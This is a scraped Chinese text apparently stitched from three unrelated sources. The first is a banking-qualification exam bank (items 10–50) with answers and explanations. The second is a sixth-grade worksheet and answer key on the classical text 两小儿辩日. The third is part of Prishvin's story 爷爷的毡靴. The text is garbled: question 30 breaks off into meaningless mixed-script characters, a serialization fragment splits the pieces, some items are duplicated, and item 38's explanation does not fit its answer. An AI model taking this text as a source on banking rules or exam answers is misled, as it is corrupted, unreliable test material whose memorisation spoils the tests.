@#@@#@　　A、收益性@#@　　B、期限性@#@　　C、流动性@#@　　D、风险性@#@　　【答案】C@#@　　【解析】现阶段，我国按流动性不同将货币供应量划分为M0、M1和M2三个层次。

@#@其中，M0指流通中的现金，M1被称为狭义货币，M2被称为广义货币。

@#@@#@　　11、在进行现场检查时，检查人员不得少于（）人。

@#@@#@　　A、2B、3C、4D、5@#@　　【答案】A@#@　　【解析】组织实施现场检查时，检查人员不得少于二人，并应当出示合法证件和检查通知书，检查人员少于二人或未出示合法证件和检查通知书的，银行业金融机构有权拒绝检查。

@#@@#@　　12、同业拆借市场的利率可以反映（）。

@#@@#@　　A、银行利率@#@　　B、短期资金供求状况@#@　　C、货币政策的松紧@#@　　D、金融宏观调控力度@#@　　【答案】B@#@　　【解析】拆借利率是根据拆借市场的资金供求关系来决定的，它能比较灵活地反映资金供求的变化情况，是短期金融市场中最具有代表性的利率。

@#@@#@　　13、关于SPV说法不正确的是（）。

@#@@#@　　A、SPV指的是特殊目的公司@#@　　B、SPV实现了风险隔离@#@　　C、SPV提高了项目成本@#@　　D、设立SPV开展融资租赁业务是国际市场的通用做法@#@　　【答案】C@#@　　【解析】C项，SPV有利于降低项目成本，方便出租人采用成本更低的外币和本币融资，降低融资成本。

@#@@#@　　14、中间业务是银行以中间人的身份收取手续费的一种业务经营活动，因而（）。

@#@@#@　　A、形成自身负债不形成自身资产@#@　　B、不形成负债和资产@#@　　C、形成自身资产不形成自身负债@#@　　D、既形成自身负债又形成自身资产@#@　　【答案】B@#@　　【解析】中间业务不构成商业银行表内资产、表内负债，形成银行非利息收入的业务。

@#@@#@　　15、银行间市场参与者按照权限不同可以分为三类，其中第一类参与者（）。

@#@@#@　　A、既可以做自营，又可以从事结算代理业务@#@　　B、只能从事结算代理业务@#@　　C、只能从事自营@#@　　D、只能通过结算代理人发送交易、结算指令@#@　　【答案】A@#@　　【解析】银行间市场参与者按照权限不同可以分为三类：

@#@第一类参与者既可以做自营，又可以从事结算代理业务；@#@第二类参与者只能从事自营；@#@第三类参与者只能通过结算代理人发送交易、结算指令。

@#@@#@　　16、金融资产管理公司长期股权投资和资本金划转股权投资余额不得超过资本金或账面所有者权益的（）。

@#@@#@　　A、50%@#@　　B、60%@#@　　C、70%@#@　　D、75%@#@　　【答案】C@#@　　【解析】金融资产管理公司长期股权投资和资本金划转股权投资余额不得超过资本金或账面所有者权益的70%。

@#@在持股比例上，单个财务性股权投资项目的持股比例不得超过20%，同时不能成为被投资企业的第一大股东。

@#@@#@　　17、我国现阶段的政策性银行是指（）。

@#@@#@　　A、中国人民银行、中国工商银行和中国建设银行@#@　　B、中国人民银行、中国交通银行和中国农业发展银行@#@　　C、光大银行、中国进出口银行和中国农业发展银行@#@　　D、国家开发银行、中国进出口银行和中国农业发展银行@#@　　【答案】D@#@　　【解析】我国的政策性银行包括国家开发银行、中国进出口银行和中国农业发展银行。

@#@@#@　　18、行业组织是指同一行业内企业的组织形态和企业间的关系，其内容不包括（）。

@#@@#@　　A、市场结构@#@　　B、市场行为@#@　　C、市场供给@#@　　D、市场绩效@#@　　【答案】C@#@　　【解析】行业组织是指同一行业内企业的组织形态和企业间的关系，包括市场结构、市场行为、市场绩效三个方面内容。

@#@@#@　　19、行业组织是指同一行业内企业的组织形态和企业间的关系，其内容不包括（）。

@#@@#@　　A、市场结构@#@　　B、市场行为@#@　　C、市场供给@#@　　D、市场绩效@#@　　【答案】C@#@　　【解析】行业组织是指同一行业内企业的组织形态和企业间的关系，包括市场结构、市场行为、市场绩效三个方面内容。

@#@@#@　　20、均衡价格随着（）。

@#@@#@　　A、供给和需求的增加而上升@#@　　B、供给和需求的减少而增加@#@　　C、需求的减少和供给的增加而上升@#@　　D、需求的增加和供给的减少而上升@#@　　【答案】D@#@　　【解析】均衡价格是指一种商品需求量与供给量相等时的价格。

@#@根据供求定理，供给变动引起均衡价格反方向变动；@#@需求变动引起均衡价格同方向变动。

@#@@#@　　21、我国目前的利率体系仍然是（）的双轨并行体系。

@#@@#@　　A、存款利率与贷款利率隔离@#@　　B、对私利率与对公利率隔离@#@　　C、银行利率与货币市场利率隔离@#@　　D、银行利率与信用社利率隔离@#@　　【答案】C@#@　　【解析】目前，我国的利率体系仍是双轨并行的，银行利率与货币市场隔离，货币市场的市场化利率不能够反映到银行存贷款基准利率上。

@#@@#@　　22、信用货币本身的价值与其货币价值的关系是（）。

@#@@#@　　A、本身价值大于其货币价值@#@　　B、本身价值等于其货币价值@#@　　C、本身价值小于其货币价值@#@　　D、无法确定@#@　　【答案】C@#@　　【解析】信用货币是国家发行，并强制流通的货币符号，其本身价值含量非常低，但是代表的价值非常高。

@#@@#@　　23、货币的价值尺度职能表现为（）。

@#@@#@　　A、在商品交换中起到媒介作用@#@　　B、从流通中退出被保存收藏或累积起来@#@　　C、与信用买卖和延期支付相联系@#@　　D、衡量商品价值量的大小@#@　　【答案】D@#@　　【解析】货币价值尺度职能的含义。

@#@A选项属于流通手段，B属于储藏手段，C属于支付手段。

@#@@#@　　24、城市商业银行是在（）的基础上成立起来的。

@#@@#@　　A、农村信用合作社@#@　　B、农村资金互助社@#@　　C、人民银行@#@　　D、城市信用合作社@#@　　【答案】D@#@　　【解析】城市商业银行是在城市信用合作社的基础上建立的。

@#@@#@　　25、我国经济体制改革的目标是建立（）。

@#@@#@　　A、社会主义国家所有制@#@　　B、社会主义市场经济体制@#@　　C、现代工商企业制度@#@　　D、社会主义按劳分配制度@#@　　【答案】B@#@　　【解析】我国经济体制改革的目标是建立社会主义市场经济体制。

@#@故选B。

@#@@#@　　26、只要存在商品经济，就必然存在的经济规律是（）。

@#@@#@　　A、市场竞争规律@#@　　B、价值规律@#@　　C、剩余价值规律@#@　　D、生产关系一定要适合生产力发展的规律@#@　　【答案】B@#@　　【解析】价值规律存在的经济条件是商品经济的存在和发展，价值规律是商品生产和商品交换的基本经济规律。

@#@@#@　　27、基于认知的选择性，当消费者面对众多营销刺激时，一般更容易选择（）的外部刺激。

@#@@#@　　A、与别人的需要有关@#@　　B、与本人的预期相符@#@　　C、与其他刺激类似@#@　　D、只出现一次@#@　　【答案】B@#@　　【解析】认知的选择性与客观刺激物的特征、消费者的经验与期望和动机有关。

@#@一般在下列情况下，消费者更容易去选择外部刺激物进行信息处理：

@#@一是与消费者目前需要有关的；@#@二是与预期相符的；@#@三是变化幅度大于一般的、较为特殊的刺激物。

@#@故选B。

@#@@#@　　28、货币当局大量买进外汇时，将导致本币（）。

@#@@#@　　A、汇率上涨@#@　　B、汇率下跌@#@　　C、退出流通@#@　　D、迅速回笼@#@　　【答案】B@#@　　【解析】货币当局大量买进外汇，外汇的需求增加，外汇升值，本币相对贬值，本币汇率下跌。

@#@故选B。

@#@@#@　　29、资金融通的机构称为金融机构，其具体内容包括（）。

@#@@#@　　A、银行和非银行金融机构@#@　　B、银行和信用社@#@　　C、银行和“钱庄”@#@　　D、银行、保险、证券@#@　　【答案】A@#@　　【解析】金融机构是指从事金融服务业有关的金融中介机构，为金融体系的一部分，金融服务业（银行、证券、保险、信托、基金等行业）与此相应，金融中介机构也包括银行、证券公司、保险公司、信托投资公司和基金管理公司等。

@#@后者统称非银行金融机构。

@#@@#@　　30、下列不属于信托计划合格投资者的是（）。

@#@@#@　　A、投资于一个信托计划150万元的法人@#@　　B、家庭金融资产在其认购时为80万元的法人@#@　　C、个人最近3年每年收入超过20万元的自然人@#@　　D、夫妻双方合计收入在最近3年内每年收入超过30万元人民币的自然人@#@　　【答案】B@#@　　【解析】信托计划的合格投资者是指符合下列条件之一，能够识别、判断和承担信托计划相应风险的人：

@#@①投资一个信托计划的最低金额不少于100万元人民币的自然人、法人或者依法成立的其他组织；@#@②个人或家庭金融资产总计在其认购时超过100万元人民币，且能提供相关财产证明შ가ౢ㎴☻㎴☻坨ฃ㌠ౢ坨ฃ쥐შ@#@　　31、下列关于操作风险特性说法不正确的是（）。

@#@@#@　　A、风险来源以外生为主@#@　　B、操作风险范围广泛，具有普遍性@#@　　C、风险与收益不对称@#@　　D、操作风险损失数据呈现“厚尾”特征@#@　　【答案】A@#@　　【解析】操作风险来源以内生为主，绝大部分操作风险是由于内部业务操作失误、内部系统失灵、内部人员控制和制度失效等所导致，只有很少一部分来源于外部欺诈、自然灾害等。

@#@@#@　　32、下列哪项不属于全面风险管理模式所体现的风险管理理念和方法？

@#@（）@#@　　A、全面的风险管理范围@#@　　B、全新的风险管理体系@#@　　C、全程的风险管理过程@#@　　D、全员的风险管理文化@#@　　【答案】B@#@　　【解析】全面风险管理模式体现的先进的风险管理理念和方法主要有：

@#@①全球的风险管理体系；@#@②全面的风险管理范围；@#@③全程的风险管理过程；@#@④全新的风险管理方法；@#@⑤全员的风险管理文化。

@#@@#@　　33、下列关于封闭式基金的说法中错误的是（）。

@#@@#@　　A、封闭式基金的规模和存续期是既定的@#@　　B、投资者在基金存续期内不能向基金公司赎回资金@#@　　C、投资者可以在二级市场上转让基金单位@#@　　D、基金转让价格一定等于基金单位净值@#@　　【答案】D@#@　　【解析】封闭式基金的转让价格由市场供求来决定的。

@#@@#@　　34、对行政复议机关改变原具体行政行为的复议决定不服提起行政诉讼，被告是（）。

@#@@#@　　A、原机关和复议机关@#@　　B、复议机关@#@　　C、复议机关的上级机关@#@　　D、原机关@#@　　【答案】B@#@　　【解析】经复议的案件，复议机关决定维持原具体行政行为的，作出原具体行政行为的行政机关是被告；@#@复议机关改变原具体行政行为的，复议机关是被告。

@#@@#@　　35、主要高级管理人员绩效薪酬的延期支付比例应高于（）。

@#@@#@　　A、20%@#@　　B、30%@#@　　C、40%@#@　　D、50%@#@　　【答案】D@#@　　【解析】商业银行高级管理人员以及对风险有重要影响岗位上的员工，其绩效薪酬的40%以上应采取延期支付的方式，且延期支付期限一般不少于3年，其中，主要高级管理人员绩效薪酬的延期支付比例应高于50%。

@#@@#@　　36、根据我国金融监管法规，目前能够合法吸收公众存款的金融机构只有（）。

@#@@#@　　A、集团财务公司@#@　　B、民间小额贷款公司@#@　　C、互联网金融公司@#@　　D、银行类金融机构@#@　　【答案】D@#@　　【解析】根据我国金融监管法规规定，目前能够合法吸收公众存款的金融机构只有银行类金融机构。

@#@其他一些机构，如企业集团财务公司等，虽然也能办理存款业务，但只能向特定客户吸收存款，不得向社会公众吸收存款。

@#@@#@　　37、关于储蓄消费者权益说法不正确的是（）。

@#@@#@　　A、消费者所在工作单位可以为消费者指定开户银行@#@　　B、消费者可以通过营业网点、ATM、电子银行、客服热线等，查询本人储蓄账户变动情况@#@　　C、储蓄业务遵循“存款自愿、取款自由、存款有息、为存款人保密”的原则@#@　　D、消费者在开立定期存款账户时，可要求银行为其办理到期约定转存业务@#@　　【答案】A@#@　　【解析】消费者有权选择任一银行营业网点开立个人银行账户。

@#@未经本人同意，任何单位和个人不得为消费者指定开户银行。

@#@@#@　　38、下列关于利率对储蓄的影响的表述，正确的是（）。

@#@@#@　　A、在其他条件不变的情况下利率越高广义储蓄量越少@#@　　B、在其他条件不变的情况下利率越高狭义储蓄量越多@#@　　C、在其他条件不变的情况下利率越高狭义储蓄量越少@#@　　D、利率不影响广义储蓄的构成@#@　　【答案】B@#@　　【解析】利率上升，存款会上升，狭义和广义储蓄都增加。

@#@故本题答案为B。

@#@@#@　　39、商业银行信用风险管理实践中，设定贷款集中度限额的做法属于（）策略。

@#@@#@　　A、风险补偿@#@　　B、风险对冲@#@　　C、风险转移@#@　　D、风险分散@#@　　【答案】D@#@　　【解析】风险分散是指通过多样化的投资来分散和降低风险的策略性选择。

@#@根据多样化投资分散风险的原理，商业银行的信贷业务应是全面的，而不应集中于同一业务、同一性质甚至同一个借款人。

@#@本题中，设定贷款集中度限额的做法采用的正是风险分散策略。

@#@@#@　　40、当一国国际收支出现顺差，反映在外汇市场上是（）。

@#@@#@　　A、外汇供给小于外汇需求@#@　　B、外汇供给大于外汇需求@#@　　C、外汇汇率上涨@#@　　D、外汇汇率无变化@#@　　【答案】B@#@　　【解析】当一国处于国际收支顺差时，说明本国出口增加、外汇收入增加，而进口减少、外汇支付减少，这时，外汇供给大于需求，从而造成本币对外升值，外汇汇率下跌。

@#@@#@　　41、（）是我国经济体制和金融体制改革的产物，是我国金融体系中具有中国特色的一类非银行金融机构。

@#@@#@　　A、金融公司@#@　　B、保险公司@#@　　C、财务公司@#@　　D、证券公司@#@　　【答案】C@#@　　【解析】设立财务公司是20世纪80年代国家实施“大公司、大集团”战略的配套政策之一，财务公司是我国经济体制和金融体制改革的产物，是我国金融体系中具有中国特色的一类非银行金融机构。

@#@@#@　　42、马克思认为，正常情况下，利率水平上限是（）。

@#@@#@　　A、历史利率水平@#@　　B、平均利润率@#@　　C、通货膨胀率@#@　　D、企业经营成本@#@　　【答案】B@#@　　【解析】马克思认为社会平均利润率是利率水平的上限。

@#@@#@　　43、对行政复议机关改变原具体行政行为的复议决定不服提起行政诉讼，被告是（）。

@#@@#@　　A、原机关和复议机关@#@　　B、复议机关@#@　　C、复议机关的上级机关@#@　　D、原机关@#@　　【答案】B@#@　　【解析】经复议的案件，复议机关决定维持原具体行政行为的，作出原具体行政行为的行政机关是被告；@#@复议机关改变原具体行政行为的，复议机关是被告。

@#@@#@　　44、我国金融体系中的金融调控和金融监管机构不包括（）。

@#@@#@　　A、中华人民共和国财政部@#@　　B、中国保监会@#@　　C、中国人民银行@#@　　D、中国证监会@#@　　【答案】A@#@　　【解析】我国金融体系中的金融调控和金融监管机构包括一行三会，不包括财政部。

@#@2018年银监会与保监会合并，成立了银保监会，金融监管机构变成了一行两会。

@#@@#@　　45、下列哪项不属于造成商业银行代理业务中操作风险的外部事件？

@#@（）@#@　　A、委托方伪造收付款凭证骗取资金@#@　　B、通过代理收付款进行洗钱活动@#@　　C、行业竞争激烈@#@　　D、由于新的监管规定出台而引起的风险@#@　　【答案】C@#@　　【解析】商业银行代理业务中主要存在以下操作风险：

@#@①人员因素；@#@②内部流程；@#@③系统缺陷；@#@④外部事件。

@#@@#@　　其中，外部事件包括：

@#@①委托方伪造收付款凭证骗取资金；@#@②通过代理收付款进行洗钱活动；@#@③由于新的监管规定出台而引起的风险等。

@#@@#@　　46、商业银行为保持支付能力而保留的流动性最高的资产是（）。

@#@@#@　　A、短期贷款@#@　　B、存款准备金@#@　　C、商业票据@#@　　D、短期债券@#@　　【答案】B@#@　　【解析】银行为保持支付能力而保留的流动性最高的资产是储备资产，包括库存现金法定准备和超额准备。

@#@@#@　　47、商业银行受企业委托，为其办理与货币资本运动有关的技术性业务，成为企业的总会计、总出纳。

@#@这体现了商业银行的（）作用。

@#@@#@　　A、信用中介@#@　　B、支付中介@#@　　C、信用创造@#@　　D、货币投放@#@　　【答案】B@#@　　【解析】支付中介。

@#@商业银行受企业委托，为其办理与货币资本运动有关的技术性业务，如汇兑、非现金结算等，使银行成为企业的总会计、总出纳，成为社会的总账房。

@#@故选B。

@#@@#@　　48、货币制度的演变顺序为（）。

@#@@#@　　A、银本位制度→金本位制度→金银本位制度→不兑现的信用货币制度@#@　　B、金银本位制度→银本位制度→金本位制度→不兑现的信用货币制度@#@　　C、银本位制度→金银本位制度→金本位制度→不兑现的信用货币制度@#@　　D、金本位制度→银本位制度→金银本位制度→不兑现的信用货币制度@#@　　【答案】C@#@　　【解析】货币制度的演变顺序为银本位制度→金银本位制度→金本位制度→不兑现的信用货币制度。

@#@@#@　　49、商业银行进行全面风险管理的基础和灵魂是（）。

@#@@#@　　A、全面风险管理架构@#@　　B、全面风险管理理念@#@　　C、全面风险管理精神@#@　　D、全面风险管理策略@#@　　【答案】B@#@　　【解析】全面风险管理理念是商业银行进行全面风险管理的基础和灵魂，适当的与之匹配的全面风险管理组织架构是贯彻和执行全面风险管理精神的具体形式。

@#@@#@　　50、以追求资本的长期增资为目标的证券投资基金是（）。

@#@@#@　　A、收入型基金@#@　　B、平衡型基金@#@　　C、成长型基金@#@　　D、配置型基金@#@　　【答案】C@#@　　【解析】成长型基金追求的是基金资产的长期增值。

@#@收入型基金，以获取当期的最大收入为目的。

@#@平衡型基金其投资目标是既要获得当期收入，又要追求组成部分的长期增值。

@#@@#@";i:

24;s:

28065:

"部编人教版六年级语文下册14两小儿辩日课课练练习精讲巧练@#@部编人教版六年级语文下册：

@#@14两小儿辩日课课练（练习）精讲巧练@#@16两小儿辩日@#@精讲巧练·@#@启迪导学@#@一、主题探究@#@《两小儿辩日》讲述了孔子路遇两个孩子在争辩___________的问题，而孔子不能做出决断的事，说明了____________的道理，同时也赞扬了孔子实事求是、_________________的精神。

@#@@#@二、疑难探究@#@1.从文中哪一句话可见两小儿辩论内容的复杂性？

@#@@#@ @#@@#@2.这两个小孩对太阳的探究，体现了一种什么精神？

@#@@#@ @#@@#@实战演练·@#@化难为易@#@A基础知识必达标@#@一、基础达标@#@1.文学常识。

@#@@#@《两小儿辩日》选自《_____________》，列子是___________时期思想家。

@#@@#@2.读重点字。

@#@@#@辩斗（）盘盂（）沧沧凉凉（）@#@3.通假释义。

@#@@#@孰为汝多知乎？

@#@@#@“_______”同“_______”，__________________@#@“_______”同“_______”，__________________@#@4.古今异义。

@#@@#@

（1）及其日中如探汤@#@古义:

@#@_____________________今义:

@#@_____________________@#@

（2）及日中则如盘盂@#@古义:

@#@_____________________今义:

@#@_____________________@#@（3）我以日始出时去人近@#@古义:

@#@_____________________今义:

@#@_____________________@#@5.解关键词。

@#@@#@

（1）辩斗:

@#@_______________

（2）故:

@#@__________________@#@（3）以:

@#@_________________（4）去:

@#@__________________@#@（5）决:

@#@_________________（6）孰:

@#@__________________@#@（7）汝:

@#@_________________@#@6.一词多义。

@#@@#@及其日中如探汤（）孰为汝多知乎（）@#@

（1）其

（2）为@#@问其故（）此不为远者小而近者大乎（）@#@7.特殊句式。

@#@@#@

（1）孰为汝多知乎？

@#@（）@#@

（2）我以日始出时去人近，而日中时远也。

@#@（）@#@8.感知课文。

@#@@#@《两小儿辩日》通过写两个小孩_____________，而孔子不能判断的故事，表现了古人探求客观事物时独立思考、_____________、实事求是的精神，同时阐述了_______________________的道理。

@#@@#@二、品读达标@#@阅读课文，回答问题。

@#@@#@9.翻译下列句子。

@#@@#@

（1）我以日始出时去人近，而日中时远也。

@#@@#@

（2）日初出大如车盖，及日中则如盘盂，此不为远者小而近者大乎？

@#@@#@10.下面两句话第

（1）句是直接引用句，第

（2）句是间接引用句。

@#@试将第

（1）句改写为间接引用句，将第

（2）句改写为直接引用句。

@#@@#@

（1）一儿曰:

@#@“我以日始出时去人近，而日中时远也。

@#@”@#@

（2）一儿以日初出远，而日中时近也。

@#@@#@11.“孰为汝多知乎？

@#@”你觉得这能怪孔子吗？

@#@这说明了什么？

@#@@#@ @#@@#@12.你感觉下面哪幅图中的太阳大一些？

@#@请动手量一量，看哪一幅大，并说说这是怎么回事。

@#@@#@ @#@@#@B能力拓展巧提升@#@（时间:

@#@50分钟分数:

@#@50分）@#@一、基础提升（26分）@#@1.给加点字选择正确的读音。

@#@（4分）@#@

（1）孔子东游，见两小儿辩斗（dǑdÒ@#@u）。

@#@@#@

（2）孰为汝多知（zhīzhì@#@）乎？

@#@@#@2.给句子选出正确的翻译，填序号。

@#@（4分）@#@

（1）孔子不能决也。

@#@（）@#@A.孔子不能决定谁对谁错。

@#@B.孔子不能判断是怎么回事。

@#@@#@

（2）孰为汝多知乎？

@#@（）@#@A.谁不认为你见多识广呢？

@#@B.谁说你多智慧呢？

@#@@#@3.下列加点词的解释不正确的一项是（）（3分）@#@A.孔子东游东:

@#@东方。

@#@B.问其故故:

@#@原因、缘故。

@#@@#@C.我以日始出时去人近去:

@#@距离。

@#@D.及其日中如探汤汤:

@#@热水、开水。

@#@@#@4.下列对本文的理解和分析不正确的一项是（）（3分）@#@A.要敢于独立思考，大胆质疑。

@#@@#@B.认识事物时从不同角度出发考虑，会有不同的结论。

@#@@#@C.宇宙无限，即使是博学多闻的孔子也会有所不知。

@#@@#@D.要大胆挑战权威的思想、学说。

@#@@#@5.根据课文内容填空。

@#@（6分）@#@面对太阳，为什么两小儿竞产生了不同的看法？

@#@他们的依据是什么？

@#@@#@一儿曰:

@#@“_____________，_____________，_________________？

@#@”@#@一儿曰:

@#@“_____________，_____________，_________________？

@#@”@#@6.翻译下列句子。

@#@（6分）@#@

（1）孔子东游，见两小儿辩斗，问其故@#@

（2）日初出沧沧凉凉，及其日中如探汤，此不为近者热而远者凉乎？

@#@@#@二、品读提升（24分）@#@（2018·@#@河北改编）阅读下面四篇短文，回答问题。

@#@@#@屈原①以②五日死，楚人以舟楫③拯④之，谓之竞渡。

@#@又曰:

@#@五日投角黍⑤以祭屈原，恐为蛟龙所夺，故为龙舟以逐之。

@#@@#@后汉黄碗⑥，祖父琼⑦，为太尉⑧，以日食状闻。

@#@太后诏⑨问所食多少，琼对未知所况⑩，蜿年七岁，时在旁，曰:

@#@“何不言日食之余，如月之初⑪。

@#@”琼大惊，即以其言对。

@#@@#@刘峻家贫好学，常燎⑫麻炬⑬，从夕达旦，时或昏睡，及觉复读，常恐所见不博。

@#@闻有异书，必往祈⑭借。

@#@@#@齐有一足鸟，舞于殿前。

@#@齐侯问于孔子，孔子曰“此鸟名商羊。

@#@儿童有谣曰:

@#@‘天将大雨，商羊鼓舞⑮。

@#@’是为大雨之兆⑯。

@#@”后果然。

@#@@#@D@#@［注］①屈原:

@#@战国时期楚国诗人。

@#@②以:

@#@在。

@#@③舟楫:

@#@泛指船只。

@#@④拯:

@#@从水中救出淹溺的人。

@#@⑤角黍:

@#@即粽子。

@#@⑥黄琬:

@#@人名。

@#@⑦琼:

@#@人名，即黄琼。

@#@⑧太尉:

@#@官职名。

@#@⑨诏:

@#@召见。

@#@⑩况:

@#@比方。

@#@⑪初:

@#@夏历指每月的开头几天。

@#@⑫燎:

@#@燃烧。

@#@⑬炬:

@#@火把。

@#@⑭祈:

@#@乞求。

@#@⑮鼓舞:

@#@手足舞动，形容欢悦。

@#@⑯兆:

@#@预兆，征兆。

@#@@#@7.解释下列句子中加着重号的词语。

@#@（8分）@#@

（1）谓之竞渡谓:

@#@____________@#@

（2）何不言日食之余，如月之初何：

@#@___________@#@（3）从夕达旦旦：

@#@___________@#@（4）是为大雨之兆是：

@#@____________@#@8.把下列句子翻译成现代汉语。

@#@（6分）@#@

（1）琼大惊，即以其言对。

@#@@#@

（2）及觉复读，常恐所见不博。

@#@@#@9.第一篇短文中，包含哪两项传承至今的民间习俗？

@#@（4分）@#@10.请给第三篇短文拟一个恰当的题目。

@#@（6分）@#@C直击中考提素养@#@（2018·@#@广东）阅读下面材料，按要求作答。

@#@@#@《诗经》包括:

@#@“风”，地方乐调。

@#@《风》诗是民间歌谣，反映劳动人民的生活和思想情感；@#@“雅”，周王朝中央所在地的乐调，《雅》诗是宫廷诗歌；@#@“颂”，祭祀时用舞曲，《颂》诗是庙堂祭祀诗歌。

@#@《雅》诗和《颂》诗反映统治阶级的生活。

@#@国风和部分小雅是劳动是的口头创作，最有价值，开创了古代诗歌的光辉传统，对后世诗歌产生了深远的影响。

@#@@#@1.请用一句话概括以上内容，不超过30字。

@#@@#@2.根据材料内容，以“国风”为描述对象，用上一种修辞手法，写一句话。

@#@@#@参考答案及解析@#@精讲巧练·@#@启迪导学@#@一、太阳离人远近知识无穷、学无止境敢于承认自学识不足@#@二、1.孔子不能决也。

@#@@#@2.体现了对事物善于探索研究的精神。

@#@@#@实战演练·@#@化难为易@#@A一、1.列子·@#@汤问战国@#@2.bià@#@nyú@#@cāng@#@3.为谓认为知智智慧@#@4.

（1）热水，开水。

@#@食物煮熟后所得的汁水。

@#@@#@

（2）盛物的器皿。

@#@盛液体的敞口器具。

@#@@#@（3）距离。

@#@从所在地到别的地方。

@#@@#@5.

（1）争辩，争论。

@#@

（2）原因，缘故。

@#@（3）认为。

@#@（4）距离。

@#@@#@（5）分辨，判断。

@#@（6）谁。

@#@（7）你。

@#@@#@6.

（1）它他们

（2）同“谓”，认为是@#@7.

（1）倒装句

（2）省略句@#@8.争论太阳距离人远近大胆质疑学无止境@#@二、9.

（1）我认为太阳刚出来时距离人近，而正午时距离人远。

@#@@#@

（2）太阳刚出来时像车盖一样大，等到正午时就像个盘子或盂，这不是远处的小而近处的大吗？

@#@@#@10.

（1）一儿以日始出近，而日中时远也。

@#@@#@

（2）一儿曰“我以日始出时去人远，而日中时近也。

@#@”@#@11.不能怪孔子。

@#@因为这是当时的人不能解决的问题。

@#@这说明一个人懂得的知识总是有限的，知识无穷尽，即使是博学多闻的孔子也会有所不知。

@#@@#@12.示例:

@#@看起来是（甲）图大，实际一样大。

@#@这是因为太阳周围事物的影响（参照物不同）。

@#@早晨太阳初升，周围的大山、树木与太阳相比就小了。

@#@而中午太阳则与辽阔的天空相比，就显得小了。

@#@@#@B一、1.正确的:

@#@

（1）dÒ@#@u

（2）zhì@#@@#@2.

（1）B

（2）B@#@3.A［解析］“东”解释为“向东”@#@4.D［解析］D项应该是要大胆质疑权威的思想、学说。

@#@@#@5.日初出大如车盖及日中则如盘盂此不为远者小而近者大乎@#@日初出沧沧凉凉及其日中如探汤此不为近者热而远者凉乎@#@6.

（1）孔子到东方游学，看见两个小孩在争论，就问他们原因。

@#@@#@

（2）太阳刚出来的时候很清凉，到了正午就像把手伸到热水中去，这不是近处的时候感觉热而远处的时候感觉凉吗？

@#@@#@二、7.

（1）称。

@#@

（2）为什么。

@#@（3）早晨。

@#@（4）这。

@#@@#@8.

（1）黄琼大吃一惊，就按照他说的回答太后。

@#@@#@

（2）等到惊醒了接着读，经常担心自己的见识不够广博。

@#@@#@9.赛龙舟、包粽子。

@#@@#@10.刘峻好学@#@C1.示例:

@#@《诗经》包括“风”“雅”“颂”，其中国风和部分小雅最有价值，影响深远。

@#@@#@2.示例一:

@#@国风表达了劳动人民的思想情感，反映了时代的社会生活，开创了古代诗歌的光辉传统。

@#@@#@示例二:

@#@国风是民间文学苑中的幽兰，香泽后世。

@#@@#@ @#@@#@二、选择题@#@2．@#@爷爷的毡靴@#@普里什文@#@我记得很清楚，爷爷那双毡靴已经穿了十来个年头。

@#@而在有我之前他还穿了多少年，可就说不上了。

@#@有好多次，他忽然间看看自己的脚说：

@#@“毡靴又穿破啦，得打个掌啦。

@#@”于是他从集上买来一小片毛毡，剪成靴掌，缝上——结果毡靴又能穿了，跟崭新的一般。

@#@@#@好几个年头就这么过去了，我不禁思忖着：

@#@世间万物都有尽时，一切都会消亡，唯独爷爷的毡靴永世长存。

@#@@#@不料，爷爷的一双腿得了严重的酸痛病，直唤不舒服，甚至还请了医生。

@#@@#@“你这是冷水引起的，”医生说，“你应该停止打鱼。

@#@”@#@“我全靠打鱼过日子呀，”爷爷回答道，“脚不沾水我可办不到。

@#@”@#@“不沾水办不到么，”医生给他出了个主意，“那就在下水的时候把毡靴穿上吧。

@#@”@#@这个主意可帮了爷爷的大忙：

@#@腿痛病好啦。

@#@只是打这以后爷爷娇气起来了，定要穿上毡靴才下河，靴子当然就一个劲儿地尽在水底的石头子儿上打磨。

@#@这一来毡靴可损坏得厉害。

@#@@#@我想：

@#@世上万物总归有个尽头，毡靴也不可能给爷爷用个没完没了——这不，它快完啦。

@#@@#@人们指着毡靴对爷爷说：

@#@“老爷子，也该叫你的这毡靴退休啦，该送给乌鸦造窝儿去啦。

@#@”@#@才不是那么回事儿呢！

@#@爷爷为了不让雪钻进裂缝，把毡靴往水里浸了浸，再往冰天雪地里一放。

@#@大冷的天，不消说毡靴缝里的水一下子就上了冻，冰把缝子封得牢牢的。

@#@接着爷爷又把毡靴往水里浸了一遍，结果整个毡靴面子上全蒙了一层冰。

@#@瞧吧，这下子毡靴变得可暖和结实了：

@#@我亲自穿过爷爷的那毡靴，在一片冬天不封冻的水草滩里来回淌，啥事儿也没有……于是我重又产生了那种想法：

@#@说不定，爷爷的毡靴就是永远不会完结。

@#@@#@但是有一次，我爷爷不巧生了病。

@#@他非得出去上厕所不可，就在门道里穿上毡靴；@#@可他回来的时候，忘了原样脱在门道里让它晾着，而是穿着冰冻的毡靴爬到了烫烫的炉台上@#@当然，糟糕的并不是毡靴化出的水从炉台上流下来淌进了牛奶桶——这算啥！

@#@倒霉的是，那双长生不老的毡靴这回可就寿终正寝啦。

@#@要知道，如果把瓶子装上水放到冰天雪地里，水就会变成冰，冰一胀，瓶子就得炸。

@#@毡靴缝子里的冰当然也一样，这时已经把毡毛胀得松散开来，冰一消融，毛也全成了渣儿……@#@我那爷爷可倔啦，病刚好，又试着把毡靴冻了一次，甚至还穿了一阵子。

@#@可是不久春天就到了，放在门道里的毡靴消了开来，一下子散成了一摊儿。

@#@@#@爷爷愤愤地说：

@#@“嘿，是它该待在乌鸦窝里歇着的时候啦！

@#@”他一气之下，提起一只毡靴，从高高的河岸上扔到了一堆牛蒡草里，当时我正在那儿逮金翅雀之类的鸟儿。

@#@@#@“干吗光把毡靴给乌鸦呢？

@#@”我说，“不管什么鸟儿，春天都喜欢往窝里叨些毛毛草草的”。

@#@@#@我问爷爷这话的时候，他正挥动另一只毡靴准备扔。

@#@@#@“真的，”爷爷表示同意，“不只是鸟儿造窝需要毛，就是野兽啦，耗子啦，松鼠啦，也都是这样啊。

@#@”这当儿，爷爷想起了我们认识的一位猎手，记得那人曾经向他提过毡靴的事儿，说早该拿给他当填药塞儿。

@#@结果第二只毡靴就没扔，他叫我送给那位猎手了。

@#@@#@转眼间，鸟儿活动的时节到了。

@#@各种各样的春禽纷纷落到河边的牛蒡草上，它们啄食牛蒡尖儿的时候，发现了爷爷的毡靴，一到造窝那会儿，它们从早到晚全来剥啄这只毡靴，把它啄成了碎片儿。

@#@一星期左右，整只毡靴竟给鸟儿们一片片全叨去筑了窝儿，然后各就各位，产卵、孵化，接着是雏鸟啁啾。

